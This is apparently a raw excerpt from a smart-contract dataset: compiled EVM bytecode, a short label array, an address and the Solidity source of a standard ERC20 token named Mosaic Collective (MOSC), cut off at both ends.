5adb66dc92a4bbccc8bf32fd25e2e86a2a770145b15156109b557600080fd5b60075460ff1615156109c657600080fd5b73ea15adb66dc92a4bbccc8bf32fd25e2e86a2a7706000673e73362871420000604051600060405180830381858888f193505050501515610a0657600080fd5b600554600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610a3f57600080fd5b565b60005433600160a060020a03908116911614610a5c57600080fd5b600955565b6000805433600160a060020a03908116911614610a7d57600080fd5b60035460009011610a8d57600080fd5b5060005b600354811015610aca576003805482908110610aa957fe5b60009182526020822060029091020181815560019081019190915501610a91565b6000610ad7600382611920565b50506000600255565b600554600160a060020a031681565b60005433600160a060020a03908116911614610b0a57600080fd5b60008211610b1757600080fd5b6003805460018101610b298382611920565b9160005260206000209060020201600060408051908101604052858152602081018590529190508151815560208201516001909101555050600254610b74908363ffffffff61164216565b6002555050565b600754610100900460ff1681565b600754600090610100900460ff168015610bb95750600160a060020a033316600090815260066020526040812054115b1515610bc457600080fd5b50600160a060020a033316600081815260066020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610c0d57600080fd5b50565b60145481565b6000805433600160a060020a03908116911614610c3257600080fd5b5080600160a060020a03811663a9059cbb84826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c9257600080fd5b6102c65a03f11515610ca357600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610cf957600080fd5b6102c65a03f11515610d0a57600080fd5b50505060405180515050505050565b60005433600160a060020a03908116911614610d3457600080fd5b601355565b600081815b600354811015610dc957814210158015610d7d57506003805482908110610d6157fe5b9060005260206000209060020201600001546201518002820142105b15610d8a57809250610dce565b610dbf600382815481101515610d9c57fe5b60009182526020909120600290910201548390620151800263ffffffff61164216565b9150600101610d3e565b600080fd5b5050919050565b600a54600160a060020a031681565b60005433600160a060020a03908116911614610dff57600080fd5b600a8054600160a060020a031916600160a060020a0392909216919091179055565b60095481565b60075460ff1681565b600054600160a060020a031681565b73ea15adb66dc92a4bbccc8bf32fd25e2e86a2a77081565b673e7336287142000081565b60005433600160a060020a03908116911614610e7e57600080fd5b60165460ff1615610e8e57600080fd5b601054601354610ea791600160a060020a031690611651565b601154601454610ec091600160a060020a031690611651565b601254601554610ed991600160a060020a031690611651565b6016805460ff19166001179055565b60005433600160a060020a03908116911614610f0357600080fd5b601455565b60005433600160a060020a03908116911614610f2357600080fd5b600b55565b60005433600160a060020a03908116911614610f4357600080fd5b60128054600160a060020a031916600160a060020a0392909216919091179055565b60165460ff1681565b601054600160a060020a031681565b600a5433600160a060020a0390811691161480610fa8575060005433600160a060020a039081169116145b1515610fb357600080fd5b610fbd8282611651565b5050565b6000805433600160a060020a03908116911614610fdd57600080fd5b60035460ff851610610fee57600080fd5b600254611001908463ffffffff61164216565b60025560038054906110169060018301611920565b5050600354600119015b8360ff1681111561108057600380548290811061103957fe5b906000526020600020906002020160038260010181548110151561105957fe5b60009182526020909120825460029092020190815560019182015491015560001901611020565b60408051908101604052838152602081018390526003805460ff60018801169081106110a857fe5b90600052602060002090600202016000820151815560208201516001909101555050505050565b600b5481565b60005433600160a060020a039081169116146110f057600080fd5b600d55565b60008054819033600160a060020a0390811691161461111357600080fd5b60035460ff84161061112457600080fd5b6003805460ff851690811061113557fe5b9060005260206000209060020201915061115e826000015460025461174990919063ffffffff16565b6002556003805460ff851690811061117257fe5b600091825260208220600290910201818155600101555060ff82165b600354600019018110156111ef5760038054600183019081106111ad57fe5b90600052602060002090600202016003828154811015156111ca57fe5b600091825260209091208254600290920201908155600191820154908201550161118e565b6003805490611202906000198301611920565b50505050565b6003545b90565b600f5481565b6000805433600160a060020a0390811691161461123157600080fd5b60035460ff85161061124257600080fd5b6003805460ff861690811061125357fe5b9060005260206000209060020201905061127c816000015460025461174990919063ffffffff16565b6002908155838255600182018390555461129c908463ffffffff61164216565b60025550505050565b600c5481565b600a5460009033600160a060020a03908116911614806112d9575060005433600160a060020a039081169116145b15156112e457600080fd5b6112ee838361161e565b9392505050565b60045481565b60025481565b60005433600160a060020a0390811691161461131c57600080fd5b61132461175b565b1561139257600e54600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561137157600080fd5b6102c65a03f1151561138257600080fd5b5050506040518051905050610a3f565b61139a610971565b600e54600154600160a060020a03918216916314133a7c911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156113f157600080fd5b6102c65a03f1151561140257600080fd5b505050565b600d5481565b600061141a600c54611612565b905090565b600154600160a060020a031681565b60005433600160a060020a0390811691161461144957600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461148657600080fd5b600f55565b60005433600160a060020a039081169116146114a657600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b601154600160a060020a031681565b60038054829081106114e557fe5b60009182526020909120600290910201805460019091015490915082565b60005433600160a060020a0390811691161461151e57600080fd5b600160a060020a038116151561153357600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146115ac57600080fd5b600c55565b601254600160a060020a031681565b60085481565b60005433600160a060020a039081169116146115e157600080fd5b60108054600160a060020a031916600160a060020a0392909216919091179055565b600e54600160a060020a031681565b60025462015180020190565b60008061162b8484611789565b905061163784846117c9565b8091505b5092915050565b60008282018381101561163757fe5b600e54600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116b057600080fd5b6102c65a03f115156116c157600080fd5b50505060405180515050600e54600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561172a57600080fd5b6102c65a03f1151561173b57600080fd5b505050604051805150505050565b60008282111561175557fe5b50900390565b60075460009060ff16151561177a576007805461ff0019166101001790555b50600754610100900460ff1690565b600080600f5460045410151561179e57600080fd5b6004546117b1908463ffffffff61164216565b6004556117bd83611838565b90506116378482611651565b600160a060020a0382166000908152600660205260409020546117f2908263ffffffff61164216565b600160a060020a03831660009081526006602052604090205560075460ff16158015611822575060085460045410155b15610fbd576007805460ff191660011790555050565b600080600080611849600c54610d39565b925060038381548110151561185a57fe5b90600052602060002090600202019150611897670de0b6b3a764000061188b600b54886118de90919063ffffffff16565b9063ffffffff61190916565b90506000826001015411156118d6576118d36118c660095461188b8560010154856118de90919063ffffffff16565b829063ffffffff61164216565b90505b949350505050565b6000808315156118f1576000915061163b565b5082820282848281151561190157fe5b041461163757fe5b600080828481151561191757fe5b04949350505050565b815481835581811511611402576000838152602090206114029161120c9160029182028101918502015b80821115610895576000808255600182015560020161194a5600a165627a7a7230582077fc019f5f867812f33f322f540d99b376b2b63910003e3844b2974c0aa4976500296060604052606460055560008054600160a060020a033316600160a060020a0319909116179055611184806100356000396000f3006060604052600436106101925763ffffffff60e060020a600035041663144fa6d7811461019d578063480b890d146101be5780634c94ac6a146101d4578063521eb273146101e75780635601477b146102165780636341ca0b1461022f5780636793c8e1146102545780636abc3fe41461027c578063769ffb7d1461028f5780638090114f146102ae5780638da5cb5b146102c157806391b7f5ed146102d45780639bf6eb60146102ea5780639dc905bb1461030c578063a035b1fe1461032b578063a34d92701461033e578063aa525c5514610354578063ab36e4a61461036d578063b071cbe614610380578063bd17647f14610393578063be9a6555146103b2578063ca1e5bb7146103c5578063cafb2202146103e7578063ce14a46e146103fa578063d56b28891461040d578063d64196f814610420578063d7d8804314610433578063deaa59df14610446578063e28fa27d14610465578063e89e4ed61461047b578063f2fde38b146104a9578063f6a03ebf146104c8578063fc0c546a146104de578063fd83da09146104f1575b61019a610507565b50005b34156101a857600080fd5b6101bc600160a060020a0360043516610583565b005b34156101c957600080fd5b6101bc6004356105cd565b34156101df57600080fd5b6101bc6105ed565b34156101f257600080fd5b6101fa61066c565b604051600160a060020a03909116815260200160405180910390f35b341561022157600080fd5b6101bc60043560243561067b565b341561023a57600080fd5b6101bc600160a060020a0360043581169060243516610706565b341561025f57600080fd5b61026a600435610809565b60405190815260200160405180910390f35b341561028757600080fd5b6101fa6108a5565b341561029a57600080fd5b6101bc600160a060020a03600435166108b4565b34156102b957600080fd5b61026a6108fe565b34156102cc57600080fd5b6101fa610904565b34156102df57600080fd5b6101bc600435610913565b34156102f557600080fd5b6101bc600160a060020a0360043516602435610933565b341561031757600080fd5b6101bc60ff60043516602435604435610977565b341561033657600080fd5b61026a610a86565b341561034957600080fd5b6101bc600435610a8c565b341561035f57600080fd5b6101bc60ff60043516610aac565b341561037857600080fd5b61026a610bbf565b341561038b57600080fd5b61026a610bc6565b341561039e57600080fd5b6101bc60ff60043516602435604435610bcc565b34156103bd57600080fd5b61026a610c5b565b34156103d057600080fd5b61026a600160a060020a0360043516602435610c61565b34156103f257600080fd5b61026a610cab565b341561040557600080fd5b61026a610cb1565b341561041857600080fd5b6101bc610cb7565b341561042b57600080fd5b61026a610d37565b341561043e57600080fd5b61026a610d3d565b341561045157600080fd5b6101bc600160a060020a0360043516610d4f565b341561047057600080fd5b6101bc600435610d99565b341561048657600080fd5b610491600435610db9565b60405191825260208201526040908101905180910390f35b34156104b457600080fd5b6101bc600160a060020a0360043516610de5565b34156104d357600080fd5b6101bc600435610e80565b34156104e957600080fd5b6101fa610ea0565b34156104fc57600080fd5b61026a600435610eaf565b600034600954811015151561051b57600080fd5b60085442101580156105335750610530610d3d565b42105b151561053e57600080fd5b600454600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561057257600080fd5b61057c3334610ebb565b91505b5090565b60005433600160a060020a0390811691161461059e57600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146105e857600080fd5b600555565b6000805433600160a060020a0390811691161461060957600080fd5b6002546000901161061957600080fd5b5060005b60025481101561065657600280548290811061063557fe5b6000918252602082206002909102018181556001908101919091550161061d565b6000610663600282611107565b50506000600155565b600454600160a060020a031681565b60005433600160a060020a0390811691161461069657600080fd5b600082116106a357600080fd5b60028054600181016106b58382611107565b916000526020600020906002020160006040805190810160405285815260208101859052919050815181556020820151600191820155546106ff925090508363ffffffff610f0616565b6001555050565b6000805433600160a060020a0390811691161461072257600080fd5b5080600160a060020a03811663a9059cbb84826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561078257600080fd5b6102c65a03f1151561079357600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107e957600080fd5b6102c65a03f115156107fa57600080fd5b50505060405180515050505050565b600081815b6002548110156108995781421015801561084d5750600280548290811061083157fe5b9060005260206000209060020201600001546201518002820142105b1561085a5780925061089e565b61088f60028281548110151561086c57fe5b60009182526020909120600290910201548390620151800263ffffffff610f0616565b915060010161080e565b600080fd5b5050919050565b600654600160a060020a031681565b60005433600160a060020a039081169116146108cf57600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b600054600160a060020a031681565b60005433600160a060020a0390811691161461092e57600080fd5b600755565b60065433600160a060020a039081169116148061095e575060005433600160a060020a039081169116145b151561096957600080fd5b6109738282610f15565b5050565b6000805433600160a060020a0390811691161461099357600080fd5b60025460ff8516106109a457600080fd5b6001546109b7908463ffffffff610f0616565b600190815560028054916109cd91908301611107565b5050600254600119015b8360ff16811115610a375760028054829081106109f057fe5b9060005260206000209060020201600282600101815481101515610a1057fe5b600091825260209091208254600290920201908155600191820154910155600019016109d7565b60408051908101604052838152602081018390526002805460ff6001880116908110610a5f57fe5b90600052602060002090600202016000820151815560208201516001909101555050505050565b60075481565b60005433600160a060020a03908116911614610aa757600080fd5b600955565b60008054819033600160a060020a03908116911614610aca57600080fd5b60025460ff841610610adb57600080fd5b6002805460ff8516908110610aec57fe5b90600052602060002090600202019150610b15826000015460015461100d90919063ffffffff16565b6001556002805460ff8516908110610b2957fe5b600091825260208220600290910201818155600101555060ff82165b60025460001901811015610ba6576002805460018301908110610b6457fe5b9060005260206000209060020201600282815481101515610b8157fe5b6000918252602090912082546002909202019081556001918201549082015501610b45565b6002805490610bb9906000198301611107565b50505050565b6002545b90565b600b5481565b6000805433600160a060020a03908116911614610be857600080fd5b60025460ff851610610bf957600080fd5b6002805460ff8616908110610c0a57fe5b90600052602060002090600202019050610c33816000015460015461100d90919063ffffffff16565b600190815583825581810183905554610c52908463ffffffff610f0616565b60015550505050565b60085481565b60065460009033600160a060020a0390811691161480610c8f575060005433600160a060020a039081169116145b1515610c9a57600080fd5b610ca48383610ebb565b9392505050565b60035481565b60015481565b60005433600160a060020a03908116911614610cd257600080fd5b600a54600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d1a57600080fd5b6102c65a03f11515610d2b57600080fd5b50505060405180515050565b60095481565b6000610d4a600854610eaf565b905090565b60005433600160a060020a03908116911614610d6a57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610db457600080fd5b600b55565b6002805482908110610dc757fe5b60009182526020909120600290910201805460019091015490915082565b60005433600160a060020a03908116911614610e0057600080fd5b600160a060020a0381161515610e1557600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610e9b57600080fd5b600855565b600a54600160a060020a031681565b60015462015180020190565b600080600b54600354101515610ed057600080fd5b600354610ee3908463ffffffff610f0616565b600355610eef8361101f565b9050610efb8482610f15565b8091505b5092915050565b600082820183811015610efb57fe5b600a54600160a060020a03166340c10f19308360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610f7457600080fd5b6102c65a03f11515610f8557600080fd5b50505060405180515050600a54600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610fee57600080fd5b6102c65a03f11515610fff57600080fd5b505050604051805150505050565b60008282111561101957fe5b50900390565b600080600080611030600854610809565b925060028381548110151561104157fe5b9060005260206000209060020201915061107e670de0b6b3a7640000611072600754886110c590919063ffffffff16565b9063ffffffff6110f016565b90506000826001015411156110bd576110ba6110ad6005546110728560010154856110c590919063ffffffff16565b829063ffffffff610f0616565b90505b949350505050565b6000808315156110d85760009150610eff565b508282028284828115156110e857fe5b0414610efb57fe5b60008082848115156110fe57fe5b04949350505050565b815481835581811511611133576002028160020283600052602060002091820191016111339190611138565b505050565b610bc391905b8082111561057f576000808255600182015560020161113e5600a165627a7a723058201c0c13dde2ff2d90f4310dd91c0988386d70f5ffbbfa2e0e2526267d64e787d10029a165627a7a723058203c0c8620097cb8dff737e8816170ca344c80512af46bcae76e6b8d3e24e1b5c70029
[ 4, 7, 16, 5, 2 ]
0xf2ed0ce8cae1593575e084804c1d7dc47de9ef82
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'name' token contract // // Deployed to : your address // Symbol : stock market term // Name : Name // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract MosaiCoinContract is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function MosaiCoinContract() public { symbol = "MOSC"; name = "Mosaic Collective"; decimals = 18; _totalSupply = 5000000000000000000000000; balances[0x8a4a8591ED37709EC1552b6DA4a86c4Ad61643cD] = _totalSupply; //MEW address here Transfer(address(0), 0x8a4a8591ED37709EC1552b6DA4a86c4Ad61643cD, _totalSupply);//MEW address here } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff